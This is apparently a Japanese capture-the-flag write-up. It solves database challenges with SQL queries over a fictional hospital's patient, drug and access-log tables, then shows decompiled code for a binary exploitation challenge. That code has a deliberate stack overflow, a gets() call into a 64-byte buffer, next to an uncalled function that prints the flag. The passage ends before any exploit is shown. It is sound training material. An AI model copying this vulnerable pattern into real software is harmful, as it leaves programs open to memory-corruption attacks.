|       1004 | AH-8311175 | Jason      | Moore     | NULL          | 1996-06-01 | F    | 8075      | 440-555-9764 | jason.moore@mail.example        | 822 Cedar Rd   | Fairhaven | OH    | 44003 |      0 | 2017-06-05 09:00:00 | NULL       |
|       1005 | AH-1720889 | Brian      | Anderson  | NULL          | 1973-06-12 | M    | 5913      | 440-555-3488 | brian.anderson@mail.example     | 2259 Maple Ave | Lakemont  | OH    | 44006 |      0 | 2015-07-23 09:00:00 | NULL       |
|       1006 | AH-4193845 | Deborah    | Anderson  | NULL          | 2004-08-07 | F    | 9682      | 440-555-1004 | deborah.anderson@mail.example   | 5682 Elm Ave   | Fairhaven | OH    | 44003 |      0 | 2016-10-14 09:00:00 | NULL       |
|       1007 | AH-0044719 | Gregory    | Halloran  | George Harmon | 1971-05-09 | M    | 3914      | 440-555-1713 | amanda.robinson@mail.example    | 6266 Cedar St  | Crestline | OH    | 44004 |      1 | 2025-11-14 22:41:00 | NULL       |
|       1008 | AH-3737659 | Timothy    | Moore     | NULL          | 1972-10-08 | M    | 7250      | 440-555-7326 | timothy.moore@mail.example      | 4051 Oak Rd    | Rosewood  | OH    | 44005 |      0 | 2018-08-11 09:00:00 | NULL       |
|       1009 | AH-6126957 | Donna      | Smith     | NULL          | 1954-11-08 | M    | 1985      | 440-555-3106 | donna.smith@mail.example        | 9745 Oak Ave   | Lakemont  | OH    | 44006 |      0 | 2015-03-25 09:00:00 | NULL       |
|       1010 | AH-3356272 | Linda      | Young     | NULL          | 1958-01-01 | F    | 0542      | 440-555-5796 | linda.young@mail.example        | 5472 Maple Dr  | Ashford   | OH    | 44001 |      0 | 2017-03-05 09:00:00 | NULL       |
|       1011 | AH-6516760 | Linda      | Thomas    | NULL          | 1965-11-17 | F    | 4208      | 440-555-1650 | linda.thomas@mail.example       | 4700 Oak Rd    | Fairhaven | OH    | 44003 |      0 | 2018-12-15 09:00:00 | NULL       |
|       1012 | AH-1025004 | Donald     | Young     | NULL          | 1983-04-20 | M    | 3631      | 440-555-3099 | donald.young@mail.example       | 9252 Elm Ln    | Crestline | OH    | 44004 |      0 | 2023-08-25 09:00:00 | NULL       |
|       1013 | AH-1044351 | Carol      | Roberts   | NULL          | 1946-06-05 | F    | 5862      | 440-555-1241 | carol.roberts@mail.example      | 4608 Birch St  | Millbrook | OH    | 44002 |      0 | 2019-11-01 09:00:00 | NULL       |
|       1014 | AH-8648035 | Ronald     | Wright    | NULL          | 1946-08-13 | M    | 0615      | 440-555-1835 | ronald.wright@mail.example      | 614 Pine Ave   | Millbrook | OH    | 44002 |      0 | 2021-07-15 09:00:00 | NULL       |
|       1015 | AH-2642731 | Donald     | Scott     | NULL          | 1977-11-12 | F    | 3598      | 440-555-6344 | donald.scott@mail.example       | 2917 Pine Ln   | Ashford   | OH    | 44001 |      0 | 2018-03-05 09:00:00 | NULL       |
|       1016 | AH-5785124 | Barbara    | Young     | NULL          | 1980-06-03 | M    | 2295      | 440-555-6308 | barbara.young@mail.example      | 230 Pine St    | Ashford   | OH    | 44001 |      0 | 2017-02-06 09:00:00 | NULL       |
|       1017 | AH-7741792 | Jeffrey    | Kessler   | NULL          | 1994-04-11 | F    | 1518      | 440-555-1998 | jeffrey.kessler@mail.example    | 6849 Cedar Dr  | Rosewood  | OH    | 44005 |      0 | 2023-07-21 09:00:00 | NULL       |
|       1018 | AH-8676242 | Timothy    | King      | NULL          | 1990-04-07 | M    | 3292      | 440-555-8270 | timothy.king@mail.example       | 155 Cedar Dr   | Lakemont  | OH    | 44006 |      0 | 2017-07-09 09:00:00 | NULL       |
|       1019 | AH-6863515 | Timothy    | Allen     | NULL          | 1979-11-25 | F    | 2222      | 440-555-1242 | timothy.allen@mail.example      | 500 Cedar Ln   | Rosewood  | OH    | 44005 |      0 | 2022-02-22 09:00:00 | NULL       |
|       1020 | AH-1056375 | Matthew    | Martin    | NULL          | 2003-07-23 | F    | 0526      | 440-555-7754 | matthew.martin@mail.example     | 4153 Oak Ave   | Lakemont  | OH    | 44006 |      0 | 2022-01-27 09:00:00 | NULL       |
|       1021 | AH-1543122 | Steven     | Scott     | NULL          | 1957-09-25 | F    | 0242      | 440-555-9985 | steven.scott@mail.example       | 288 Cedar Ln   | Lakemont  | OH    | 44006 |      0 | 2020-04-20 09:00:00 | NULL       |
|       1022 | AH-5336003 | Paul       | Lopez     | NULL          | 2002-03-10 | M    | 6674      | 440-555-5333 | paul.lopez@mail.example         | 6625 Cedar Ave | Crestline | OH    | 44004 |      0 | 2023-09-11 09:00:00 | NULL       |
|       1023 | AH-6338883 | Joseph     | Jones     | NULL          | 1947-02-04 | F    | 4577      | 440-555-3079 | joseph.jones@mail.example       | 1997 Oak St    | Ashford   | OH    | 44001 |      0 | 2023-04-17 09:00:00 | NULL       |
|       1024 | AH-7752630 | Ashley     | Gonzalez  | NULL          | 2001-12-09 | M    | 9333      | 440-555-5962 | ashley.gonzalez@mail.example    | 6990 Maple Dr  | Rosewood  | OH    | 44005 |      0 | 2015-08-26 09:00:00 | NULL       |
|       1025 | AH-1505826 | Ashley     | Baker     | NULL          | 2004-05-05 | F    | 5160      | 440-555-8435 | ashley.baker@mail.example       | 403 Pine Dr    | Fairhaven | OH    | 44003 |      0 | 2020-03-06 09:00:00 | NULL       |
|       1026 | AH-7751500 | Paul       | Hall      | NULL          | 1969-07-16 | M    | 1527      | 440-555-9674 | paul.hall@mail.example          | 1853 Oak Ave   | Ashford   | OH    | 44001 |      0 | 2018-12-04 09:00:00 | NULL       |
|       1027 | AH-3980086 | Rebecca    | Nelson    | NULL          | 1991-09-25 | F    | 2831      | 440-555-6276 | rebecca.nelson@mail.example     | 2065 Birch Ave | Ashford   | OH    | 44001 |      0 | 2018-02-03 09:00:00 | NULL       |
|       1028 | AH-8671496 | Michelle   | Clark     | NULL          | 1958-09-12 | F    | 2296      | 440-555-7449 | michelle.clark@mail.example     | 2503 Cedar Ln  | Crestline | OH    | 44004 |      0 | 2021-01-09 09:00:00 | NULL       |
|       1029 | AH-2020064 | Paul       | Sanchez   | NULL          | 1957-10-23 | M    | 8965      | 440-555-7944 | paul.sanchez@mail.example       | 7679 Maple Ln  | Ashford   | OH    | 44001 |      0 | 2019-03-26 09:00:00 | NULL       |
|       1030 | AH-8158670 | Rebecca    | Williams  | NULL          | 1953-03-18 | F    | 6934      | 440-555-3450 | rebecca.williams@mail.example   | 2728 Oak Ave   | Lakemont  | OH    | 44006 |      0 | 2016-04-01 09:00:00 | NULL       |
|       1031 | AH-2853156 | Robert     | Campbell  | NULL          | 2002-01-16 | M    | 5608      | 440-555-1368 | robert.campbell@mail.example    | 467 Pine Ln    | Fairhaven | OH    | 44003 |      0 | 2017-01-05 09:00:00 | NULL       |
|       1032 | AH-3593645 | David      | Kessler   | NULL          | 2002-03-22 | M    | 5065      | 440-555-6391 | david.kessler@mail.example      | 762 Elm St     | Fairhaven | OH    | 44003 |      0 | 2017-10-12 09:00:00 | NULL       |
|       1033 | AH-4251937 | Susan      | Wright    | NULL          | 1964-03-05 | M    | 8981      | 440-555-2931 | susan.wright@mail.example       | 1379 Pine Dr   | Fairhaven | OH    | 44003 |      0 | 2017-11-12 09:00:00 | NULL       |
|       1034 | AH-5647352 | Joshua     | Thompson  | NULL          | 1968-05-06 | M    | 2282      | 440-555-1580 | joshua.thompson@mail.example    | 4084 Cedar Ave | Lakemont  | OH    | 44006 |      0 | 2023-05-24 09:00:00 | NULL       |
|       1035 | AH-8370189 | Anthony    | Hernandez | NULL          | 1970-07-17 | F    | 4758      | 440-555-5130 | anthony.hernandez@mail.example  | 9745 Maple Ave | Millbrook | OH    | 44002 |      0 | 2022-11-10 09:00:00 | NULL       |
|       1036 | AH-5741948 | James      | Lewis     | NULL          | 1978-10-20 | M    | 2952      | 440-555-9354 | james.lewis@mail.example        | 789 Cedar Dr   | Rosewood  | OH    | 44005 |      0 | 2015-10-02 09:00:00 | NULL       |
|       1037 | AH-7412854 | William    | White     | NULL          | 1945-03-18 | M    | 1096      | 440-555-9625 | william.white@mail.example      | 2158 Pine Rd   | Fairhaven | OH    | 44003 |      0 | 2019-07-03 09:00:00 | NULL       |
|       1038 | AH-4436000 | Thomas     | Garcia    | NULL          | 1986-09-14 | M    | 9135      | 440-555-9991 | thomas.garcia@mail.example      | 1942 Oak Rd    | Crestline | OH    | 44004 |      0 | 2019-05-05 09:00:00 | NULL       |
|       1039 | AH-6164923 | Cynthia    | Martinez  | NULL          | 1975-03-20 | F    | 7713      | 440-555-5931 | cynthia.martinez@mail.example   | 9526 Pine Rd   | Rosewood  | OH    | 44005 |      0 | 2024-09-03 09:00:00 | NULL       |
|       1040 | AH-3203074 | Anthony    | Walker    | NULL          | 1997-03-21 | F    | 4628      | 440-555-7839 | anthony.walker@mail.example     | 1055 Oak Ave   | Lakemont  | OH    | 44006 |      0 | 2018-01-03 09:00:00 | NULL       |
|       1041 | AH-5969921 | Michelle   | Rodriguez | NULL          | 1946-08-17 | F    | 9569      | 440-555-3918 | michelle.rodriguez@mail.example | 5845 Birch Ave | Rosewood  | OH    | 44005 |      0 | 2020-02-17 09:00:00 | NULL       |
|       1042 | AH-2176943 | Kevin      | Lopez     | NULL          | 1946-01-11 | M    | 3601      | 440-555-7253 | kevin.lopez@mail.example        | 7077 Pine Ave  | Lakemont  | OH    | 44006 |      0 | 2019-12-19 09:00:00 | NULL       |
|       1043 | AH-7801893 | Kathleen   | Perez     | NULL          | 1965-10-02 | M    | 9589      | 440-555-9623 | kathleen.perez@mail.example     | 1111 Birch Ave | Lakemont  | OH    | 44006 |      0 | 2018-08-07 09:00:00 | NULL       |
|       1044 | AH-6623744 | Ronald     | King      | NULL          | 1975-01-01 | M    | 0831      | 440-555-2218 | ronald.king@mail.example        | 1195 Elm Dr    | Fairhaven | OH    | 44003 |      0 | 2020-10-20 09:00:00 | NULL       |
|       1045 | AH-4698876 | Thomas     | Johnson   | NULL          | 1949-01-23 | F    | 0148      | 440-555-4563 | thomas.johnson@mail.example     | 1713 Birch Dr  | Millbrook | OH    | 44002 |      0 | 2023-08-24 09:00:00 | NULL       |
|       1046 | AH-4630056 | Nancy      | Campbell  | NULL          | 1963-10-08 | F    | 1516      | 440-555-1437 | nancy.campbell@mail.example     | 1816 Cedar Dr  | Ashford   | OH    | 44001 |      0 | 2019-05-17 09:00:00 | NULL       |
|       1047 | AH-3955181 | Jason      | Nelson    | NULL          | 1991-05-26 | F    | 8382      | 440-555-4909 | jason.nelson@mail.example       | 8949 Oak Dr    | Millbrook | OH    | 44002 |      0 | 2020-03-23 09:00:00 | NULL       |
|       1048 | AH-1355805 | Michelle   | Perez     | NULL          | 1956-12-27 | M    | 0129      | 440-555-7192 | michelle.perez@mail.example     | 9041 Cedar Rd  | Rosewood  | OH    | 44005 |      0 | 2015-10-02 09:00:00 | NULL       |
|       1049 | AH-3594149 | William    | Lee       | NULL          | 1974-04-22 | M    | 4826      | 440-555-9934 | william.lee@mail.example        | 1230 Oak Ln    | Fairhaven | OH    | 44003 |      0 | 2019-07-09 09:00:00 | NULL       |
|       1050 | AH-8261624 | Betty      | Gonzalez  | NULL          | 1971-10-02 | F    | 4081      | 440-555-6619 | betty.gonzalez@mail.example     | 8733 Cedar Ave | Fairhaven | OH    | 44003 |      0 | 2019-11-08 09:00:00 | NULL       |
|       1051 | AH-8081746 | Betty      | Green     | NULL          | 1963-12-07 | M    | 9806      | 440-555-2979 | betty.green@mail.example        | 7507 Pine Ln   | Rosewood  | OH    | 44005 |      0 | 2019-07-22 09:00:00 | NULL       |
|       1052 | AH-7991099 | Karen      | Green     | NULL          | 1945-11-14 | F    | 0068      | 440-555-8983 | karen.green@mail.example        | 226 Maple Ln   | Fairhaven | OH    | 44003 |      0 | 2021-02-07 09:00:00 | NULL       |
|       1053 | AH-6577177 | Jeffrey    | Walker    | NULL          | 1986-09-10 | M    | 0325      | 440-555-3180 | jeffrey.walker@mail.example     | 4768 Elm Rd    | Crestline | OH    | 44004 |      0 | 2015-07-10 09:00:00 | NULL       |
|       1054 | AH-3255565 | Donna      | Green     | NULL          | 1987-06-03 | F    | 5046      | 440-555-7028 | donna.green@mail.example        | 7031 Birch Ln  | Ashford   | OH    | 44001 |      0 | 2015-05-08 09:00:00 | NULL       |
|       1055 | AH-7136761 | Edward     | Adams     | NULL          | 1986-09-22 | M    | 7902      | 440-555-8653 | edward.adams@mail.example       | 5084 Cedar Rd  | Crestline | OH    | 44004 |      0 | 2023-04-02 09:00:00 | NULL       |
|       1056 | AH-5296251 | Michelle   | Rodriguez | NULL          | 1949-08-02 | M    | 3134      | 440-555-8545 | michelle.rodriguez@mail.example | 2639 Birch St  | Ashford   | OH    | 44001 |      0 | 2021-11-22 09:00:00 | NULL       |
|       1057 | AH-4981352 | Ryan       | Lopez     | NULL          | 1960-02-01 | F    | 9507      | 440-555-8211 | ryan.lopez@mail.example         | 9337 Pine Rd   | Crestline | OH    | 44004 |      0 | 2016-11-10 09:00:00 | NULL       |
|       1058 | AH-8451325 | James      | Harris    | NULL          | 1962-08-10 | M    | 2151      | 440-555-6457 | james.harris@mail.example       | 3394 Oak Rd    | Millbrook | OH    | 44002 |      0 | 2016-08-18 09:00:00 | NULL       |
|       1059 | AH-6190270 | Linda      | White     | NULL          | 1953-08-06 | M    | 9019      | 440-555-6125 | linda.white@mail.example        | 4192 Cedar St  | Lakemont  | OH    | 44006 |      0 | 2019-10-04 09:00:00 | NULL       |
|       1060 | AH-0090001 | Dana       | Kessler   | NULL          | 1990-01-01 | F    | 0000      | 440-555-8329 | rebecca.hernandez@mail.example  | 2656 Elm St    | Lakemont  | OH    | 44006 |      0 | 2025-10-02 03:12:00 | NULL       |
+------------+------------+------------+-----------+---------------+------------+------+-----------+--------------+---------------------------------+----------------+-----------+-------+-------+--------+---------------------+------------+
60 rows in set (0.001 sec)

is_vipが1になっているレコードのmrnは以下の通り。

AH-0044719
deadface{AH-0044719}

Schedule of Concern (Database 20)

drugsテーブル内の「Schedule II」薬剤の数を答える必要がある。

aurora> use aurora_pharmacy;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
aurora> show tables;
+---------------------------+
| Tables_in_aurora_pharmacy |
+---------------------------+
| dispenses                 |
| drugs                     |
| pharmacists               |
| prescribers               |
| prescriptions             |
+---------------------------+
5 rows in set (0.002 sec)

aurora> select * from drugs;
+---------+--------------+------------------------+-----------------+--------------+-----------+----------------+
| drug_id | ndc          | brand_name             | generic_name    | dea_schedule | form      | strength       |
+---------+--------------+------------------------+-----------------+--------------+-----------+----------------+
|       1 | 24171-791-99 | Oxycodone HCl ER       | oxycodone       | II           | tablet    | 40 mg          |
|       2 | 23740-181-30 | Hydromorphone          | hydromorphone   | II           | tablet    | 8 mg           |
|       3 | 81731-949-35 | Fentanyl Transdermal   | fentanyl        | II           | patch     | 100 mcg/hr     |
|       4 | 74884-505-83 | Morphine Sulfate ER    | morphine        | II           | tablet    | 60 mg          |
|       5 | 74060-618-42 | Hydrocodone/APAP       | hydrocodone     | II           | tablet    | 10/325 mg      |
|       6 | 51569-890-51 | Methylphenidate ER     | methylphenidate | II           | capsule   | 36 mg          |
|       7 | 64716-389-12 | Amphetamine Salts      | amphetamine     | II           | tablet    | 30 mg          |
|       8 | 80824-492-26 | Methadone HCl          | methadone       | II           | tablet    | 10 mg          |
|       9 | 42773-912-42 | Meperidine HCl         | meperidine      | II           | tablet    | 50 mg          |
|      10 | 22886-252-31 | Buprenorphine/Naloxone | buprenorphine   | III          | film      | 8/2 mg         |
|      11 | 45426-840-12 | Ketamine HCl           | ketamine        | III          | injection | 500 mg/10 mL   |
|      12 | 78740-814-63 | Testosterone Cypionate | testosterone    | III          | injection | 200 mg/mL      |
|      13 | 33316-371-20 | Acetaminophen/Codeine  | codeine         | III          | tablet    | 300/30 mg      |
|      14 | 40980-139-27 | Alprazolam             | alprazolam      | IV           | tablet    | 1 mg           |
|      15 | 65027-880-99 | Lorazepam              | lorazepam       | IV           | tablet    | 2 mg           |
|      16 | 12808-168-96 | Diazepam               | diazepam        | IV           | tablet    | 10 mg          |
|      17 | 38645-817-32 | Zolpidem Tartrate      | zolpidem        | IV           | tablet    | 10 mg          |
|      18 | 36590-370-81 | Tramadol HCl           | tramadol        | IV           | tablet    | 50 mg          |
|      19 | 24954-238-96 | Pregabalin             | pregabalin      | V            | capsule   | 75 mg          |
|      20 | 14594-840-12 | Guaifenesin/Codeine    | codeine         | V            | syrup     | 100/10 mg/5 mL |
|      21 | 63388-983-90 | Metformin HCl          | metformin       | N            | tablet    | 1000 mg        |
|      22 | 32261-107-75 | Lisinopril             | lisinopril      | N            | tablet    | 20 mg          |
|      23 | 57179-493-53 | Atorvastatin           | atorvastatin    | N            | tablet    | 40 mg          |
|      24 | 71277-972-53 | Amoxicillin            | amoxicillin     | N            | capsule   | 500 mg         |
|      25 | 65030-251-99 | Omeprazole             | omeprazole      | N            | capsule   | 20 mg          |
|      26 | 58243-294-59 | Levothyroxine          | levothyroxine   | N            | tablet    | 100 mcg        |
|      27 | 17864-899-20 | Amlodipine             | amlodipine      | N            | tablet    | 10 mg          |
|      28 | 94866-462-40 | Metoprolol Tartrate    | metoprolol      | N            | tablet    | 50 mg          |
|      29 | 29479-909-16 | Sertraline HCl         | sertraline      | N            | tablet    | 100 mg         |
|      30 | 94683-786-51 | Albuterol Sulfate      | albuterol       | N            | inhaler   | 90 mcg         |
|      31 | 25926-828-67 | Gabapentin             | gabapentin      | N            | capsule   | 300 mg         |
|      32 | 19574-619-21 | Prednisone             | prednisone      | N            | tablet    | 20 mg          |
+---------+--------------+------------------------+-----------------+--------------+-----------+----------------+
32 rows in set (0.001 sec)

aurora> select count(*) from drugs where dea_schedule = "II";
+----------+
| count(*) |
+----------+
|        9 |
+----------+
1 row in set (0.001 sec)
deadface{9}

The Attending (Database 40)

VIPフラグのある患者は2025年11月に1回だけ入院している。この入院の承認(サインオフ)を行った医師のシステム上のユーザ名を答える必要がある。
前述の問題により、該当の患者のpatient_idは1007であることはわかっている。

aurora> use aurora_ehr;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

aurora> select * from encounters where patient_id = 1007;
+--------------+------------+-----------------------+----------------+-------------+-----------------------------------+------------+----------------+-------+------------+
| encounter_id | patient_id | attending_provider_id | encounter_type | department  | chief_complaint                   | admit_date | discharge_date | room  | status     |
+--------------+------------+-----------------------+----------------+-------------+-----------------------------------+------------+----------------+-------+------------+
|         5017 |       1007 |                     5 | Inpatient      | Pain Clinic | Acute pain, medication management | 2025-11-14 | 2025-11-17     | 4C-12 | discharged |
+--------------+------------+-----------------------+----------------+-------------+-----------------------------------+------------+----------------+-------+------------+
1 row in set (0.001 sec)

aurora> select * from providers where provider_id = 5;
+-------------+------------+------------+-----------+-----------------+-------------+------------+-------------------------+----------+------------+--------+-------------+
| provider_id | npi        | first_name | last_name | specialty       | department  | dea_number | email                   | username | hire_date  | status | handler_ref |
+-------------+------------+------------+-----------+-----------------+-------------+------------+-------------------------+----------+------------+--------+-------------+
|           5 | 1487302941 | Marcus     | Reyes     | Pain Management | Pain Clinic | BR2938471  | mreyes@aurorahealth.org | mreyes   | 2016-03-01 | active | REVENANT-7  |
+-------------+------------+------------+-----------+-----------------+-------------+------------+-------------------------+----------+------------+--------+-------------+
1 row in set (0.001 sec)
deadface{mreyes}

Prying Eyes (Database 55)

VIP患者のカルテに最も多くアクセスしたユーザーアカウントを特定し、そのユーザー名を答える問題。
前述の問題により、該当の患者のpatient_idは1007であることはわかっている。

aurora> use aurora_audit;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
aurora> show tables;
+------------------------+
| Tables_in_aurora_audit |
+------------------------+
| access_log             |
| users                  |
+------------------------+
2 rows in set (0.002 sec)

aurora> select * from access_log where patient_id = 1007;
+--------+---------+-------------+------------+--------+--------------+-------------+-------------+---------------------+
| log_id | user_id | patient_mrn | patient_id | action | resource     | ip_address  | workstation | accessed_at         |
+--------+---------+-------------+------------+--------+--------------+-------------+-------------+---------------------+
| 800126 |      18 | AH-0044719  |       1007 | view   | meds         | 10.20.1.125 | WS-033      | 2025-09-06 11:51:00 |
| 800293 |       6 | AH-0044719  |       1007 | view   | labs         | 10.20.3.33  | WS-007      | 2025-09-15 13:18:00 |
| 800361 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.3.141 | WS-005      | 2025-11-15 07:20:00 |
| 800362 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.1.46  | WS-010      | 2025-11-28 17:18:00 |
| 800363 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.4.170 | WS-011      | 2025-11-18 04:47:00 |
| 800364 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.1.115 | WS-010      | 2025-11-29 07:19:00 |
| 800365 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.2.180 | WS-008      | 2025-11-15 16:59:00 |
| 800366 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.3.86  | WS-001      | 2025-11-26 21:05:00 |
| 800367 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.1.45  | WS-037      | 2025-11-27 23:40:00 |
| 800368 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.1.126 | WS-005      | 2025-11-20 08:03:00 |
| 800369 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.2.176 | WS-030      | 2025-11-29 01:49:00 |
| 800370 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.4.62  | WS-019      | 2025-11-15 05:18:00 |
| 800371 |      10 | AH-0044719  |       1007 | view   | notes        | 10.20.2.84  | WS-029      | 2025-11-28 03:34:00 |
| 800372 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.4.195 | WS-009      | 2025-11-30 16:22:00 |
| 800373 |      10 | AH-0044719  |       1007 | view   | notes        | 10.20.1.174 | WS-012      | 2025-11-23 23:42:00 |
| 800374 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.4.230 | WS-038      | 2025-11-14 13:44:00 |
| 800375 |      10 | AH-0044719  |       1007 | view   | notes        | 10.20.4.172 | WS-027      | 2025-11-29 15:19:00 |
| 800376 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.3.7   | WS-018      | 2025-11-23 15:13:00 |
| 800377 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.3.112 | WS-021      | 2025-11-15 10:37:00 |
| 800378 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.3.111 | WS-005      | 2025-11-26 09:59:00 |
| 800379 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.3.133 | WS-006      | 2025-11-21 15:05:00 |
| 800380 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.3.179 | WS-017      | 2025-11-28 02:59:00 |
| 800381 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.3.88  | WS-009      | 2025-11-30 13:04:00 |
| 800382 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.1.112 | WS-039      | 2025-11-22 12:44:00 |
| 800383 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.1.93  | WS-016      | 2025-11-26 20:08:00 |
| 800384 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.1.240 | WS-001      | 2025-11-17 09:00:00 |
| 800385 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.3.103 | WS-024      | 2025-11-19 05:01:00 |
| 800386 |      10 | AH-0044719  |       1007 | view   | notes        | 10.20.3.229 | WS-008      | 2025-11-17 11:57:00 |
| 800387 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.4.117 | WS-001      | 2025-11-20 19:30:00 |
| 800388 |      10 | AH-0044719  |       1007 | view   | notes        | 10.20.3.131 | WS-011      | 2025-11-26 09:50:00 |
| 800389 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.1.147 | WS-035      | 2025-11-20 20:41:00 |
| 800390 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.1.69  | WS-025      | 2025-11-29 02:18:00 |
| 800391 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.2.192 | WS-015      | 2025-11-19 04:45:00 |
| 800392 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.3.206 | WS-017      | 2025-11-18 12:05:00 |
| 800393 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.2.247 | WS-026      | 2025-11-30 17:26:00 |
| 800394 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.3.107 | WS-037      | 2025-11-24 18:31:00 |
| 800395 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.4.132 | WS-017      | 2025-11-15 04:16:00 |
| 800396 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.1.70  | WS-008      | 2025-11-28 23:56:00 |
| 800397 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.2.125 | WS-037      | 2025-11-21 17:20:00 |
| 800398 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.3.167 | WS-024      | 2025-11-30 09:29:00 |
| 800399 |      10 | AH-0044719  |       1007 | view   | notes        | 10.20.4.211 | WS-007      | 2025-11-21 09:09:00 |
| 800400 |      10 | AH-0044719  |       1007 | view   | chart        | 10.20.1.74  | WS-013      | 2025-11-23 12:52:00 |
| 800401 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.2.188 | WS-031      | 2025-11-14 13:15:00 |
| 800402 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.2.83  | WS-026      | 2025-11-18 20:30:00 |
| 800403 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.4.213 | WS-007      | 2025-11-21 18:40:00 |
| 800404 |      10 | AH-0044719  |       1007 | view   | labs         | 10.20.3.213 | WS-003      | 2025-11-27 08:45:00 |
| 800405 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.4.198 | WS-006      | 2025-11-30 08:32:00 |
| 800406 |      10 | AH-0044719  |       1007 | view   | meds         | 10.20.2.139 | WS-009      | 2025-11-19 15:49:00 |
| 800407 |      10 | AH-0044719  |       1007 | view   | demographics | 10.20.2.88  | WS-013      | 2025-11-30 05:08:00 |
| 800408 |       3 | AH-0044719  |       1007 | view   | chart        | 10.20.4.235 | WS-002      | 2025-11-17 15:00:00 |
| 800409 |       3 | AH-0044719  |       1007 | view   | notes        | 10.20.2.241 | WS-002      | 2025-11-15 09:00:00 |
| 800410 |       3 | AH-0044719  |       1007 | view   | meds         | 10.20.2.87  | WS-036      | 2025-11-17 08:00:00 |
| 800411 |       3 | AH-0044719  |       1007 | view   | notes        | 10.20.3.48  | WS-028      | 2025-11-16 16:00:00 |
| 800412 |       3 | AH-0044719  |       1007 | view   | chart        | 10.20.1.67  | WS-038      | 2025-11-16 12:00:00 |
| 800413 |       7 | AH-0044719  |       1007 | view   | notes        | 10.20.3.87  | WS-016      | 2025-11-17 12:30:00 |
| 800414 |       7 | AH-0044719  |       1007 | view   | chart        | 10.20.1.201 | WS-009      | 2025-11-16 11:30:00 |
| 800415 |      12 | AH-0044719  |       1007 | view   | meds         | 10.20.1.169 | WS-011      | 2025-11-17 12:30:00 |
| 800416 |      12 | AH-0044719  |       1007 | view   | notes        | 10.20.1.150 | WS-033      | 2025-11-15 15:30:00 |
+--------+---------+-------------+------------+--------+--------------+-------------+-------------+---------------------+
58 rows in set (0.002 sec)

user_idが10のユーザのアクセスが頻繁にあったことがわかる。

aurora> select * from users where user_id = 10;
+---------+----------+----------------+--------------------------+------------+--------+---------------------+-------------+
| user_id | username | full_name      | role                     | department | status | created_at          | handler_ref |
+---------+----------+----------------+--------------------------+------------+--------+---------------------+-------------+
|      10 | rborden  | Rebecca Borden | Health Information Clerk | HIM        | active | 2018-01-15 08:00:00 | REVENANT-7  |
+---------+----------+----------------+--------------------------+------------+--------+---------------------+-------------+
1 row in set (0.001 sec)
deadface{rborden}

The Crypt (PWN 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char *pcVar2;
  size_t sVar3;
  char local_88 [64];
  char local_48 [64];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  print_art();
  puts("=== CRYPT ACCESS TERMINAL ===");
  printf("\n [*] The hike here took hours through forgotten, old woods.");
  printf("\n [*] ...It was worth it.");
  printf("\n [*] Before you lies a decrepit, crumbling crypt.");
  printf("\n [*] Theres no door, no windows, just... carved stone.");
  printf("\n\n[!] How will you get inside? (Secret Code Required): ");
  fflush(stdout);
  pcVar2 = fgets(local_48,0x40,stdin);
  if (pcVar2 != (char *)0x0) {
    sVar3 = strcspn(local_48,"\n");
    local_48[sVar3] = '\0';
    de_crypt(local_88);
    iVar1 = strcmp(local_48,local_88);
    if (iVar1 == 0) {
      putchar(10);
      slowtype("...But you were already headed there, weren\'t you?\n\n\n");
      whispering_madness();
    }
    else {
      puts("Only Silence.");
    }
  }
  return 0;
}

void de_crypt(long param_1)

{
  int local_c;
  
  for (local_c = 0; nothing_at_all[local_c] != '\0'; local_c = local_c + 1) {
    *(byte *)(param_1 + local_c) = nothing_at_all[local_c] ^ 0x13;
  }
  *(undefined1 *)(param_1 + local_c) = 0;
  return;
}

void nowhere(void)

{
  int iVar1;
  FILE *__stream;
  
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    printf("[-] ERROR: a valid flag.txt could not be found!");
  }
  while( true ) {
    iVar1 = fgetc(__stream);
    if ((char)iVar1 == -1) break;
    putchar((int)(char)iVar1);
  }
  return;
}

void whispering_madness(void)

{
  char local_48 [64];
  
  puts("Darkness begins to surround you, and frantic, angry whispers coalesce in your mind:");
  printf("\n [!] \"WHO DARES ATTEMPT TO ENTER THE FORGOTTEN REALM?!\":");
  gets(local_48);
  return;
}

